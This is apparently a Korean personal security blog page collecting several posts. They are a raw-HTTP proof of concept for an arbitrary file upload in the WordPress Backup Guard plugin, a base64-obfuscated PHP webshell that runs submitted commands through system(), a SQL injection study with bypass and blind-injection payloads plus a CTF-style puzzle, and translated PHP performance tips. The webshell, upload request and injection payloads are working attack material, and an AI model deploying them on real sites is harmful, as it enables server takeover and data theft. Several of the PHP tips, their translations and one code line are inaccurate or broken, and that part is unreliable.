Posted by Maid:: IzayoiSakuya
해당 취약점만으로는 webshell을 동작시킬순 없고, 해당 사이트에 전제조건이 몇가지 필요하다. 

1. Backup Guard 를 통해 올린 파일의 경로를 알수 있어야 함. (디렉토리 리스팅이 가능하면 최적일것임.) 

 2. 관리자 권한을 사용 해야함. CSRF등을 통해서 하면 될듯? 

 3. php 확장자로 올라가지 않으므로 경로를 안다고 해도 텍스트 파일로 보일뿐. 따라서 LFI 등의 취약점이 연계되어야함.
POST http://192.168.0.91/wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.0.91
Connection: keep-alive
Content-Length: 1946784
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.0.91
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqE6amufQR0PqHraP
Referer: http://192.168.0.91/wp-admin/admin.php?page=backup_guard_backups
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: wordpress_87cfb3563f93a5d2c31273cd0ae7bdba=Sakuya%7C1455929929%7CI7o0EJxhU8ClcrYCEUgAkH6jsG5ra6LSstuEFSbiXXd%7C19f158651e5c5c1fe87fe3a2ab632c9506ceb98f23e1d6fd747b05e8668fe492; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_87cfb3563f93a5d2c31273cd0ae7bdba=Sakuya%7C1455929929%7CI7o0EJxhU8ClcrYCEUgAkH6jsG5ra6LSstuEFSbiXXd%7C1f1c5e2111be175767c1f2f14ac571a1fe9a5453240b9e331093ef6ce229f0d9; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1455757129

------WebKitFormBoundaryqE6amufQR0PqHraP
Content-Disposition: form-data; name="sgbpFile"; filename="test.php"
Content-Type: application/octet-stream


------WebKitFormBoundaryqE6amufQR0PqHraP
Content-Disposition: form-data; name="action"

backup_guard_importBackup
------WebKitFormBoundaryqE6amufQR0PqHraP--


Referer : http://www.pritect.net/blog/backup-guard-1-0-3-security-vulnerability


'Web > Wordpress' 카테고리의 다른 글

[wp-plugin] Backup Guard <= 1.0.2 - Arbitrary File Upload POC  (0) 2016.02.18
Posted by Maid:: IzayoiSakuya

Custom Webshell

Web 2016.02.12 14:47

기능 추가 '예정'


<?php

eval(ase64_decode('ICAgICAgICBzZXNzaW9uX3N0YXJ0KCk7CiAgICAgICAgaWYoISRfU0VTU0lPTlsnd2Vic2hlbGxpZCddKQogICAgICAgIHsKICAgICAgICAgICAgICAgIGVjaG8gIklOUFVUIFBBU1NXT1JEIjsKICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdwYXNzd29yZCcgbmFtZT0ncCc+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOwogICAgICAgICAgICAgICAgaWYobWQ1KCRfUE9TVFsncCddKSA9PT0gJ1NPTUVfSEFTSFZBTFVFX0hFUkUnKQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ3dlYnNoZWxsaWQnXSA9ICd0cnVlJzsKICAgICAgICB9CiAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKICAgICAgICAgICAgICAgIGVjaG8gIkNNRCA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjJyBhdXRvZm9jdXM+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOwogICAgICAgICAgICAgICAgZWNobyAiUmVzdWx0IjsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ZXh0YXJlYSBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6NTAlJz4iOwogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnYyddKSkKICAgICAgICAgICAgICAgICAgICAgICAgc3lzdGVtKCRfUE9TVFsnYyddKTsKICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+IjsKICAgICAgICB9'));

?>

'Web' 카테고리의 다른 글

Webhacking Study - no more BLIND  (6) 2017.04.18
Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
PHP web development tips and tricks  (0) 2015.11.13
Error based SQL  (0) 2015.10.28
Posted by Maid:: IzayoiSakuya

SQL Injection Study

Web 2015.11.13 16:59
주제 : Webhacking Study - False SQL injection
날짜 : 2015. 06.18
작성자 : Sakuya Izayoi


1. 개요 및 목적

False SQL Injection에 관한 문서를 읽고 이해 한 후 원리에 대해 생각해 본다. 더 나아가 해당 기법을 사용하여 발전된 공격을 할 수 있는 가능성을 제시하고 실제 POC코드를 보여줌으로써 웹 해킹의 수준을 더욱 업그레이드 하는것을 그 목적으로 한다.


2. 내용

이번 회차에 주어진 내용은 해당 링크에 주어진 문서를 읽고 각자 독후감 형식으로 글을 쓰는 형태였다. 다소 생소한 형태였지만 한글문서가 귀한 요즘 투정을 부릴수는 없었다. 문서의 내용은 개략적으로 아래와 같다.


이 문서는 SQL injection 공격이 웹 방화벽이나 기타 보안 솔루션 방어 우회가 가능하다는걸 공개하기 위해 작성하였다.


한국 웹 방화벽을 대상으로 테스트 한 결과 대부분의 SQL injection 필터링 우회가 가능하였다.

문서에서 설명하는 내용을 보기 위해서는 기본적인 MySQL 에 대한 이해가 필요하다.

이 문서에서 인증 공격에 사용되는 SQL injection 용어를 두가지로 분류 할것인데 일반직인 SQL injection이 True SQL injection 이고

새롭게 보여줄 공격이 False SQL injection 이다. 하지만 True SQL injection만 해도 이 문서에서는 독특한 공격으로 보여줄 것이다.

그리고 정확히 얘기 하자면 Blind SQL injection 공격을 말하는 True/False SQL injection 이랑은 전혀 다른 공격이다.

이번에 직접 공격한 서버는 디폴트 상태에서 테스트 했으며, 버전은 다음과 같다.


' or 1=1#


위의 공격 코드가 일바적인 SQL injection이며 이를 True SQL injection 으로 분류 한다.



당연히 id 필드에 해당되는 문자열이 없으니 출력될 내용이 없다.

사실 MySQL에서 문자열 넣는 부분에 숫자를 입력해도 입력이 되는 경우를 많이 보았다.

그 바탕으로 테스트한 결과가 다음과 같은 예 이다.


mysql> select * from users where id=0;

+-----+-----------+----------+

| num | id        | password |

+-----+-----------+----------+

|   1 | admin     | ad1234   |

|   2 | wh1ant    | wh1234   |

|   3 | secuholic | se1234   |

+-----+-----------+----------+

3 rows in set (0.00 sec)


id에 숫자 0을 입력하면 테이블의 모든 내용이 출력되는걸 볼 수 있다.

이것이 False SQL injection의 기본이다.


우선 본론에 앞서 작성자의 테스트 환경이다

Mysql : 5.5.38

PHP : 5.5.14

OS : OSX10.9.5

이 문서에서 제공한 코드를 토대로 실제로 동작하는지 테스트 해보기로 했다.

DB를 만드는 과정이나 데이터를 넣는것 등은 해당 문서에도 제공하니 참조하도록 하자.


create database injection_db;

use injection_db;

create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));

insert into users values(1, 'admin', 'ad1234');

insert into users values(2, 'wh1ant', 'wh1234');

insert into users values(3, 'secuholic', 'se1234'); 


해당 DB/Table을 만든 후 아래와 같은 쿼리를 작동 시켜보았다.


우선 데이터가 정상적으로 들어있음을 확인 할 수 있엇다. 이제 문서 작성자가 이야기한 False SQL Injection에 대해 쿼리를 작성하여 시도하여 보자.

문서의 내용과는 다르게 3개의 Warning이 발생하였다. 이 Warning의 내용을 살펴보면..

admin, wh1ant, secuholic의 문자열에 대해 DOUBLE값으로 Truncated 에 실패 하였다고 메세지를 출력해 준것 같다.

이에 착안하여 테이블에 데이터를 조금만 더 넣어보기로 하자.

테이블에 넣어보기로 한 데이터는 아래와 같다.


데이터를 넣었으니 이제 한번 더 False SQL Injection을 시도해 보자. 결과는 아래와 같다.



이 쿼리문을 동작시켰을때 출력된 값들은 문자열로 시작하거나 0으로 시작하는것 뿐이었다. 6개의 warning에 대해 살펴보도록 하자.

한가지 흥미로운점은 6개의 Warning이 발생했음에도 불구하고, 4개의 행만이 출력되었다는 점이다. 아직까진 명확하게 판명내리기 어렵기에, 하나의 쿼리문을 더 동작시켜서 구체화 해보기로 하였다.

False SQL Injection과는 조금 다른 구문을 시도해 보았다. 여기서는 id=123인것을 들고와야 하는데 왜 엉뚱한 값인 0123admin값을 들고왔을까?


여기까지 예제를 두드려보면 개략적으로 감을 잡을 수 있다. 

=(equal) 연산자를 사용할때 mysql은 내부적으로 좌측과 우측의 자료형을 비교한다. 여기서 우측 항을 기준으로하며, 기준으로 잡은 우측 항의 자료형과 좌측 항의 자료형이 다를경우 좌측을 강제로 형변환(casting) 시킨다. 이 예제에서는 mysql에서 비교하기로 한 우측의 형태가 DOUBLE라고 인식을 하였으니, 좌측도 역시 DOUBLE로 형 변환을 시도하지만, numeric한 문자가 들어있지 않은 경우엔 0을 반환하게 되고, 이 값이 곧 id가 되어서 id=0을 만족하는 경우가 되어 버린것이다.  ^[1-9]의 정규표현식을 벗어나는 모든 ID들이 리턴되는 것이다.

그럼 위의 id=123의 경우에는 어떨까? 과정은 역시 동일하다. 우측을 기준으로 잡고 좌측을 형 변환 시켜 리턴된 값을 비교한다. 여기서 0123은 123과 같은 값이므로 id의 값은 123이되고 그 결과 id=123을 만족하게 되어 결과를 내놓았을 뿐이다.

실제로 이러한 문자열들이 어떻게 캐스팅이 되는지 알아보고 싶다면 간단한 연산을 통해 알아볼 수 있다.

위의 예시에서는 여러가지를 들어 문자열이 캐스팅 되는 과정을 보여주고 있다. 자신이 변환할수 있는 범위까지만 변환후, 이후의 문자열은 냉정하게 버려버린다.

실제로 우측을 문자열로 주게되면 문서에서 말하는 False SQL Injection의 결과는 나오지 않는다.


3. 응용

문서에서 말하는 False SQL Injection은 결국 형변환에 실패하여 리턴되는 값이 0이되는 모든 값에 대해 TRUE값을 리턴함으로써 나타나는 오류임을 알았다. 이를 통해 간단한 문제를 만들어 보았다.

<?php

  include(‘./flag.php’);

  include(‘./config.php’);


        $hash = md5(rand());


        if(strlen($_GET['hash']) != 32)

                die("your input is not hash. retry");


        something_filtering($_GET[‘hash’]);

        $q = "SELECT '$hash' =".$_GET['hash'];

        $sql = mysql_query($q);

        $row = mysql_fetch_array($sql);


        if($row[0] ===‘1')

                echo_flag();

        else

                echo "NONONONONNONONONNO";

?> 


문제의 컨셉은 랜덤한 해쉬값을 위에서 소개한 False SQL Injection을 통해 1의 값을 출력시키게 하는 것이다.

조금의 트릭을 위해 입력은 정확히 32글자만 받기로 하였지만, 실제로는 크게 상관이 없다.

md5가 아니더라도 sha1등 응용할수 있는 부분은 많으며, hash를 구성하는 문자는 0-f 이며, 첫 글자가 0으로 형 변환 될 경우는 총 16가지의 경우의 수 중, 7가지로 절반에 가까운 확률로 [0]{32}를 입력하였을때 mysql에서의 비교는 1을 리턴 하게 될 것이다.

링크의 저자가 말한것 처럼 Blind SQL도 충분히 가능하다. 하지만 기초적인 부분을 말하기에 앞서, 저자가 적은 Blind SQL은 그가 적은 문서의 주제와 다소 거리가 있다.





http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)

http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)

http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)

http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)

http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)

http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)

http://127.0.0.1/info.php?num=0^(id=0x61646d696e)

http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)

http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5) 

여기서 그가 적어놓은 것들은 앞서 이야기한 강제 형변환을 통한 문자열 비교를 통해 도출되는 결과가 아닌, 단순한 비트연산을 통한 결론이 도출되는 공격들이다. 0과 xor되는 값들이 모두 연산결과에 의해서 0이아니느 TRUE의 값을 가지므로 0^1의 형태가 되고 이는 곧 TURE를 가져온다는것이 결론.

하지만 그가 언급한 False Blind SQL Injection은 num부분이 아닌 id부분과 비교되었을때야 말로 그 의미를 가질수 있을것이다. 만약 ID라는 인자를 받고 그것을 통해  Blind SQL Injection을 한다고 가정해보자.

id=if(1,1,0)#

이렇게 적게 된다면 TRUE의 경우 1을 리턴하고, 아닐경우 0을 리턴하게 될텐데 이는 우리가 생각한것과 정 반대의 결과를 도출한다.

이에 대한 원인은 위에서 기술했던 형변환을 통해 나온 결과이며, 만약 1 로 시작하는 아이디가 있었다면 그에대한 결과값을 들고 왔을것이다.

Blind SQL에 사용하기 위해서는 리턴된 Row가 다르다는 것을 이용하여 공격해야 할 것으로 보인다.


4. 결론

이 문서에서 이야기 하는 False SQL Injection은 사실 정당한 대소비교 혹은 동치관계를 통한 결과값의 도출이 맞으며, 이 개념을 사용할수 있는, 혹은 응용해야만 하는 취약점은 Real world에서 상당히 드물것으로 생각된다. 하지만 이를 통해 Mysql의 내부적인 동작원리를 알게 되었다면 이 문서의 목적은 달성하게 된게 아닐까.


'Web' 카테고리의 다른 글

Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
PHP web development tips and tricks  (0) 2015.11.13
Error based SQL  (0) 2015.10.28
mysql python  (0) 2015.02.23
Posted by Maid:: IzayoiSakuya

출처 : http://oddly.tistory.com/77


읽다보니 몇몇은 신세계 ㅋㅋ



1. Static methods

If a method can be declared static, declare it static. Speed improvement is by a factor of 4.


1. Static 함수들

함수를 Static으로 선언할 수 있다면 Static으로 선언하세요. 속도 향상을 얻을 수 있습니다. (4번 참조)


2. echo() vs. print()

Even both of these output mechanism are language constructs, if you benchmark the two you will quickly discover that print() is slower then echo(). The reason for that is quite simple, print function will return a status indicating if it was successful or not (note: it does not return the size of the string), while echo simply print the text and nothing more. Since in most cases this status is not necessary and is almost never used it is pointless and simply adds unnecessary overhead.

view plaincopy to clipboardprint?

echo( 'Hello World' );    

// is better than    

print( 'Hello World' );    

2. echo() vs print()

두 출력 함수는 모두 언어 구조에 종속되어있지만, 당신이 직접 벤치마킹해본다면 print() 는 echo()보다 느리다는 걸 확인할 수 있을겁니다. 꽤나 간단한 이유인데, print 함수는 출력에 대한 결과값을 반환(성공했을 때는 스트링의 크기를, 실패했을 때는 반환하지 않습니다) 하지만 echo 는 단순히 텍스트를 출력해주기만 합니다. 대부분의 경우에 결과값은 필요하지 않고, 쓸데없는 오버헤드가 늘어나게 됩니다.


3. echo's multiple parameters

Use echo's multiple parameters instead of string concatenation. It's faster.

view plaincopy to clipboardprint?

echo 'Hello', ' ', 'World';    

// is better than    

echo 'Hello' . ' ' . 'World';   

Read more...


3. echo 에서 여러 개의 인자를 이용할 때

echo에서 여러개의 인자를 이용하는 것이 문자열 연쇄(붙이기)를 이용하는 것보다 빠릅니다.


4. Avoid the use of printf

Using printf() is slow for multitude of reasons and I would strongly discourage it's usage unless you absolutely need to use the functionality this function offers. Unlike print and echo printf() is a function with associated function execution overhead. More over printf() is designed to support various formatting schemes that for the most part are not needed in a language that is typeless and will automatically do the necessary type conversions. To handle formatting printf() needs to scan the specified string for special formatting code that are to be replaced with variables. As you can probably imagine that is quite slow and rather inefficient.

view plaincopy to clipboardprint?

echo 'Result:', $result;    

// is better than    

printf( "Result: %s", $result );    


4. printf 함수 사용 자제

printf() 함수는 여러 이유로 느려지며, 나는 꼭 써야 할 경우가 아니면 사용하지 않는 것을 강력 추천합니다. print와 echo와는 달리 printf는 오버헤드를 많이 실행시키는 기능입니다. 더욱이, printf() 는 타입이 없고, 필요하다면 알아서 타입이 변환되는 언어에서는 다양한 자료형을 지원하는 상황에서는 대부분의 경우 필요가 없습니다. printf() 함수를 다루기 위해서는 특수한 문자열과 특수한 형 코드를 대치하게 됩니다. 아마 당신은 상당히 느리고 비효율적이라고 생각하게 될 것입니다.

5. Single quotes vs. double quotes

In PHP there is a difference when using either single or double quotes, either ‘ or “. If you use double quotes ” then you are telling the code to check for a variable. If you are using single quotes ‘ then you are telling it to print whatever is between them. This might seem a bit trivial, but if you use the double quotes instead of the single quotes, it will still output correctly, but you will be wasting processing time.

view plaincopy to clipboardprint?

echo 'Result: ' . $var;    

// is better than    

echo "Result: $var";  

Even the use of sprintf instead of variables contained in double quotes, it’s about 10x faster.


Read more...


5. 작은따옴표(‘) 와 큰따옴표(‘’)

PHP에서 작은 따옴표와 큰 따옴표를 쓰는 것은 차이가 있습니다. 만약 큰 따옴표(“)를 쓸 때는 이것을 변수로 취급한다고 코드에게 말하는 것입니다. 당신이 작은 따옴표(‘)를 쓴다면 이것은 어디에 있던 단지 출력만을 위한 것으로 취급할 것입니다.


6. Methods in derived classes vs. base classes

Methods in derived classes run faster than ones defined in the base class.


5. 상속받은 클래스의 함수 vs 부모 클래스의 함수

상속받은 클래스의 함수가 부모 클래스의 함수보다 빠르다


7. Accessing arrays

e.g. $row['id'] is 7 times faster than $row[id]


7. 배열 접근

$row[‘id’] 는 $row[id] 로 접근하는 것보다 7배 빠르다

8. Do not implement every data structure as a class

Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory. For this reason, do not implement every data structure as a class, arrays are useful, too.


8. 모든 자료구조를 클래스로 구현하지 말아라

모든게 객체지향일 필요도 없고, 이건 가끔 꽤나 큰 오버헤드를 유발하며, 이런 메서드나 오브젝트 호출은 메모리를 엄청 잡아먹습니다. 이런 이유에서, 모든 자료구조를 클래스로 만들지는 마세요. 배열도 꽤나 쓸만합니다.

9. Avoid functions inside loops

Try to use functions outside loops. Otherwise the function may get called each time.


9. 루프 안에 함수 쓰는걸 피하라

함수 바깥에 함수를 호출하도록 노력하세요. 안그러면 매번 해당 함수를 호출합니다.

view plaincopy to clipboardprint?

// 예를 들어 for 루프 안에서 count() 함수를 제어조건에 호출한다면,

// 매 루프 순환마다 함수가 호출됩니다

$max = count( $array );    

for( $i = 0; $i < $max; $i++ )    

{    

   // 무언가를 하겠죠..

}    

   

// 위에께 아래거보다 나아요.

   

for( $i = 0; $i < count( $array ); $i++ )    

{    

   // 여기도 무언가를 하겠죠..

}  

It's even faster if you eliminate the call to count() AND the explicit use of the counter by using a foreach loop in place of the for loop.

이게 count() 함수를 호출하거나, foreach 루프의 counter를 사용하는거보단 훨씬 빠릅니다.

view plaincopy to clipboardprint?

foreach ($array as $i) {  

   // do something    

}  

Read more...


참고: 단일 인자로 함수를 호출하는 것과 내용이 없는 함수를 호출하는 것은 $localvar++ 연산을 7~8번 하는 것과 비슷합니다. 유사한 함수 호출도 15번의 $localvar++ 연산을 하는 것과 흡사합니다.


Note: A function call with one parameter and an empty function body takes about the same time as doing 7-8 $localvar++ operations. A similar method call is of course about15 $localvar++ operations.


10. ?> <?

When you need to output a large or even a medium sized static bit of text it is faster and simpler to put it outside the of PHP. This will make the PHP's parser effectively skip over this bit of text and output it as is without any overhead. You should be careful however and not use this for many small strings in between PHP code as multiple context switches between PHP and plain text will ebb away at the performance gained by not having PHP print the text via one of it's functions or constructs.


10. ?><?

 당신이 크거나, 중간 정도 사이즈의 고정된 텍스트를 출력하려 할 때엔 PHP구문 바깥에 출력하는게 더 빠르고 간단합니다. 이 행동은 PHP 파서가 효과적으로 해당 구문을 무시하고 지나가 출력시 오버헤드를 없애줍니다.  이런 부분에 주의하며 성능적인 이슈를 위해서 고정된 텍스트들을 소스 코드 중간 중간에 넣는 것을 최대한 자제해야 합니다.

11. isset instead of strlen

When working with strings and you need to check that the string is either of a certain length you'd understandably would want to use the strlen() function. This function is pretty quick since it's operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase & hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using a isset() trick.


11. isset으로 strlen으로 대신하기

당신이 문자열이 충분한 길이를 갖고 있는지 확인해야 할 때 strlen() 함수를 사용해야 한다고 생각할 겁니다. 이 함수의 속도는 그럭저럭 봐줄만한 편인데 그렇다고 zval 구조(PHP에서 변수를 저장하는데 쓰이는 C 구조)의 길이를 바로 반환하는 건 아니고 뭔가 연산을 합니다. 어쨌든 strlen()은 뭔가 느린데, 이 함수가 lowercase 나 hashtable 검색같은 연산을 한다는겁니다. 그래서 isset()을 사용하는 트릭으로 속도를 향상시킬 수 있습니다.

view plaincopy to clipboardprint?

if (!isset($foo{5})) { echo "Foo is too short"; }  

// 이게 더 빨라요

if (strlen($foo) < 5) { echo "Foo is too short"; }  

Calling isset() happens to be faster then strlen() because unlike strlen(), isset() is a language construct and not a function meaning that it's execution does not require function lookups and lowercase. This means you have virtually no overhead on top of the actual code that determines the string's length.


isset()함수를 호출하는게 strlen()함수를 호출하는게 더 빠른데, 왜냐하면 strlen()함수랑 isset()은 언어 구조적으로 다르고, isset은 lowercase나 hashtable 검색 연산을 필요로 하지 않기 때문입니다. 이 의미는 가상의 오버헤드를 줄이지만 실제로는 문자열의 길이를 알아낼 수 있다는 이야기입니다.

12. true is faster than TRUE

This is because when looking for constants PHP does a hash lookup for name as is. And since names are always stored lowercased, by using them you avoid 2 hash lookups. Furthermore, by using 1 and 0 instead of TRUE and FALSE, can be considerably faster.


12. true 는 TRUE 보다 빠르다

왜냐하면 PHP는 상수들을 hash에서 검색을 하기 때문인데, 이게 다 최종적으로는  소문자로 저장이 되어있습니다. 그러므로 2개의 hash 테이블을 검색하는 연산을 회피할 수 있습니다. 게다가, 1과 0을 TRUE와 FALSE를 이용하는거보다 더 빠를 수 있습니다.


13. Incrementing or decrementing the value of the variable

When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend's PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.


Additionally,


1. Incrementing a local variable in a method is the fastest. Nearly the same as calling alocal variable in a function.


2. Incrementing a global variable is 2 times slower than a local variable.


3. Incrementing an object property (eg. $this->prop++) is 3 times slower than a local variable.


4. Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.


Read more ... and more...


13. 변수의 증감 연산

증감 연산을 변수에 할 때에 $i++은 ++$i 보다 느립니다. 이건 PHP에 한정된 이야기가 아니라 다른 언어에도 적용됩니다. ++$i  가 PHP에서 더 빠른 이유는 $i++는 4개의 opcode가 필요하지만 ++$i는 opcode가 3개가 필요합니다. 후위 증가 연산은 임시 변수를 생성한 후에 이걸 증가시키지만, 전위 증가 연산은 바로 원래의 값을 증가시키기 때문입니다. 이건 하나의 최적화로써 Zend’s PHP optimizer와 같은 것에는 적용이 되어있습니다. 이건 여전히 기억해봄직한 아이디어인데 꽤나 많은 ISP들은 코드 최적화 없이 작동하기 때문입니다.


추가적으로,


1. 함수 안 지역 변수의 증가가 제일 빠릅니다. 이건 그냥 지역 변수를 호출하는 것과 근사합니다.

2. 전역 변수 증가 연산은 지역 변수 증가 연산보다 2배 느립니다.

3. 객체 속성(예: $this->prop) 증가 연산은 지역 변수 증가 연산보다 3배 느립니다.

4. 정의되지 않은 변수에 대한 증가 연산은 정의된 변수에 대한 증가 연산보다 9~10배 느립니다.

14. Replace regex calls with ctype extension, if possible

Many scripts tend to reply on regular expression to validate the input specified by user. While validating input is a superb idea, doing so via regular expression can be quite slow. In many cases the process of validation merely involved checking the source string against a certain character list such as A-Z or 0-9, etc... Instead of using regex in many instances you can instead use the ctype extension (enabled by default since PHP 4.2.0) to do the same. The ctype extension offers a series of function wrappers around C's is*() function that check whether a particular character is within a certain range. Unlike the C function that can only work a character at a time, PHP function can operate on entire strings and are far faster then equivalent regular expressions.

view plaincopy to clipboardprint?

ctype_digit($foo);  

// is better than  

preg_match("![0-9]+!", $foo);  

14. 가능하다면 regex함수 호출을 ctype 확장으로 변경하세요.

많은 스크립트는 정표현식 사용자의 입력에 대하여 정규표현식으로 확인합니다. 입력값의 유효성을 정규표현식으로 체크하는 것은 꽤나 훌륭한 아이디어지만, 이게 꽤나 느릴 수 있습니다. 많은 경우 유효성 검사 연산에서 단지 이 문자열들이 A-Z, 0-9 같은 것으로 이루어져있는지를 체크하는데, regex를 사용하는 대신 ctype 확장을 이용하여 대체할 수 있습니다.(PHP 4.2.0 이상부터 사용이 가능합니다). ctype 확장은 C의 is뭐뭐뭐() 함수와 같은 기능을 제공하며 어떤 범위 내의 문자열로 작성되어있는지 검사합니다. C함수는 한 문자당 한 번 작동하지만, PHP함수는 문자열 전체를 검사할 수도 있고, 정규표현식에 비해서 훨씬 빠릅니다.


15. isset vs. in_array and array_key_exists

Another common operation in PHP scripts is array searching. This process can be quite slow as regular search mechanism such as in_array() or manual implementation work by iterating through the entire array. This can be quite a performance hit if you are searching through a large array or need to perform the searches frequently. So what can you do? Well, you can do a trick that relies upon the way that Zend Engine stores array data. Internally arrays are stored inside hash tables when they array element (key) is the key of the hashtables used to find the data and result is the value associated with that key. Since hashtable lookups are quite fast, you can simplify array searching by making the data you intend to search through the key of the array, then searching for the data is as simple as $value = isset($foo[$bar])) ? $foo[$bar] : NULL;. This searching mechanism is way faster then manual array iteration, even though having string keys maybe more memory intensive then using simple numeric keys.


15. isset vs in_array 와 array_key_exists

PHP의 일반적인 작업 중 하나라면 배열 검색입니다. 이 과정은 일반적인 배열 검색이나 in_array() 함수, 혹은 수동적으로 구현한 순환 검색기능을 통해 꽤나 느려지게 만듭니다. 만약 당신이 꽤나 큰 배열 통째로 이런 식으로 자주 검사한다면 성능에 꽤나 큰 타격을 입힐겁니다. 그럼 어째야 할까요? 젠드 엔진이 데이터를 저장하는 방식을 빌려서 해결할 수 있습니다. 내부적으로 배열들에 key를  hash table안에 저장 배열 요소(key)는 hash table의 key가 될 수 있습니다.hash table은 값을 찾기 위해 key를 이용하는데요.hashtable은 검색은 꽤 빠른 편이구요, 아마 당신은 의도한대로 key를 통해 데이터를 찾을 수 있을겁니다. 찾는 데이터는 간단하게 말하면  $value = isset($foo[$bar]))?$foo[$bar]:NULL; 과 같이 되는거죠. 이 탐색 메커니즘은 문자열로 된 key가 숫자로 된 key보다 메모리를 많이 먹음에도 불구, 배열 순회를 통해 결과를 얻는 것보다 빠를 겁니다.


view plaincopy to clipboardprint?

$keys = array("apples"=>1, "oranges"=>1, "mangoes"=>1);  

if (isset($keys['mangoes'])) { ... }  

 

// is roughly 3 times faster then  

 

$keys = array("apples", "oranges", "mangoes");  

if (in_array('mangoes', $keys)) { ... }  

 

// isset is also faster then  

if(array_key_exists('mangoes', $keys)) { ... }  

Note: However the lookup times don't diverge until you've got a very considerable amount of data in your array. e.g. If you have just 2-3 entries in your array, it will take more time to hash the values and perform the lookup than it would take to perform a simple linear search ( O( n ) vs. O( log n ) )


참고: 배열이 많은 데이터를 갖고 있다고 해서 배열의 연산량이 발산하진 않습니다. 예를 들자면 배열에 단지 2~3개의 항목이 있을 때,  간단한 선형 탐색이 hash table 검색보다 오래 걸릴겁니다( O(n) vs O(log n) )




16. Free unnecessary memory

Unset your variables to free memory, especially large arrays.


16. 필요없는 메모리를 해제하세요.

메모리 여유를 위해, 필요없는 데이터를 해제하세요. 특히 큰 배열이라면 더욱.


17. Specify full paths

Use full paths in includes and requires, less time spent on resolving the OS paths.

view plaincopy to clipboardprint?

include( '/var/www/html/your_app/database.php' );    

//is better than    

include( 'database.php' );   

Read more...


17. 절대경로로 명명하세요.

require에 절대 경로를 이용하는 것이 상대 경로를 이용하는 것보다 적은 시간을 소요합니다.

18. regex vs. strncasecmp, strpbrk and stripos

See if you can use strncasecmp, strpbrk and stripos instead of regex, since regex is usually slower.


18. regext vs strncasecmp, strpbrk and stripos

가능하다면 정규표현식보다 strncasecmp, strpbrk, stripos을 사용하세요. regex는 보통 느립니다.

19. str_replace vs. preg_replace vs. strtr

The str_replace is better than preg_replace, but strtr is better than str_replace by afactor of 4.


19. str_replace vs preg_replace vs strtr

str_replace함수가 preg_replace 보다 성능이 좋습니다. 그러나 strtr은 str_replace보다 4배 정도 빠릅니다.

20. select vs. multi if and else if statements

It’s better to use select statements than multi if, else if statements.


20. select vs 다중 if - else if 문

select를 쓰는게 다중 if 문을 쓰는 것 보다 낫습니다.

view plaincopy to clipboardprint?

switch( $name )  

 {  

  case 'aaa':  

  // do something  

  break;  

 

  case 'bbb':  

  // do something  

  break;  

 

  case 'ccc':  

  // do something  

  break;  

 

  default:  

  // do something  

  break;  

 }  

 

 // is better than  

 

 if( $name == 'aaa' )  

 {  

  // do something  

 }  

 else if( $name == 'bbb' )  

 {  

  // do something  

 }  

 else if( $name == 'ccc' )  

 {  

  // do something  

 }  

 else  

 {  

  // do something  

 }  

Read more...


21. Error suppression with @ is very slow

view plaincopy to clipboardprint?

$name = isset( $id ) : 'aaa' : NULL;    

//is better than    

$name = @'aaa';   

Read more...

21. @로 에러문을 무시하는건 몹시 느려요.


22. Boolean Inversion

Most of the time, inverting a boolean value is as simple as using the logical ‘not’ operator e.g. false = !true. That’s easy enough, but occasionally you might find yourself working with integer-type booleans instead, with 1s and 0s in the place of true and false; in that case, here’s a short PHP snippet that does the same thing:


22. 불대수 반전

